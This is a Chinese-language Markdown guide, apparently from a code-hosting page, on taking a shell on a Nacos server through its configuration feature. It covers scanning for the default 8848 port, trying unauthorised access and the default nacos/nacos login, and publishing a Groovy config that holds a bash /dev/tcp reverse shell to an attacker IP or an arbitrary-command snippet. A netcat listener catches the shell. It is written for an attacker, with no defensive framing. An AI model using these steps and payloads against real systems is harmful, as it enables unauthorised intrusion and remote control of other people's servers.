Files
2025-09-25 03:24:57 +08:00

53 lines
2.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### Nacos 如何通过配置文件拿 Shell
**1. 信息收集与漏洞探测**
首先,需要找到目标 Nacos 服务的地址和端口。常见的默认端口是 **8848**
- **访问 Nacos 控制台**:通过浏览器访问 `http://<Nacos_IP>:8848/nacos`
- **判断是否存在未授权访问**:如果无需登录即可访问控制台,则存在未授权访问漏洞
- **尝试弱口令**:如果需要登录,可以尝试使用 Nacos 的默认弱口令,例如 `nacos/nacos`
**2. 构造恶意 Groovy 配置文件**
在获取到 Nacos 控制台的权限后,下一步是构造一个包含恶意代码的配置文件
- **创建新的配置**:在 Nacos 控制台中,进入“配置管理” -> “配置列表”,点击“+”号创建新配置
- **配置参数**
- **Data ID**:配置的唯一标识,可以任意命名,例如 `shell.groovy`
- **Group**:配置的分组,默认即可
- **配置格式**:**非常关键的一步,必须选择 `Groovy`**
- **配置内容**:在配置内容中写入恶意 Groovy 代码
以下是两种常见的 Groovy Shell 代码:
**反弹 Shell**
```groovy
def process = "bash -i >& /dev/tcp/攻击者IP/端口 0>&1".execute()
```
请将 **攻击者IP****端口** 替换为你自己的 IP 地址和监听端口
**命令执行**
```groovy
def process = "ls -la".execute()
def output = new StringBuilder()
process.consumeProcessOutput(output, output)
println output.toString()
```
你可以将 `ls -la` 替换为你想要执行的任意命令
**3. 发布配置并触发**
- **发布配置**:填写好 Data ID、Group 和恶意 Groovy 代码后,点击“发布”
- **触发条件**
- **应用程序加载配置**:目标应用程序需要集成 Nacos 并加载这个新发布的配置。通常,应用程序会通过 Nacos SDK 定期拉取配置。一旦应用加载了 `shell.groovy` 这个配置,Groovy 代码就会被执行
- **配置刷新**:许多 Spring Boot 等应用框架在集成 Nacos 时,会配置自动刷新。当配置有更新时,应用会重新加载。
**4. 获取 Shell**
- **反弹 Shell**:在发布恶意配置前,需要在攻击者服务器上使用 `nc` 命令监听端口,例如 `nc -lvnp 端口`。一旦目标应用加载配置,你就会在监听端口上收到一个反弹回来的 Shell
- **命令执行**:如果使用命令执行的方式,执行结果会显示在 Nacos 的日志或应用日志中。但这种方式需要你多次修改配置来执行不同的命令,无法形成一个交互式的 Shell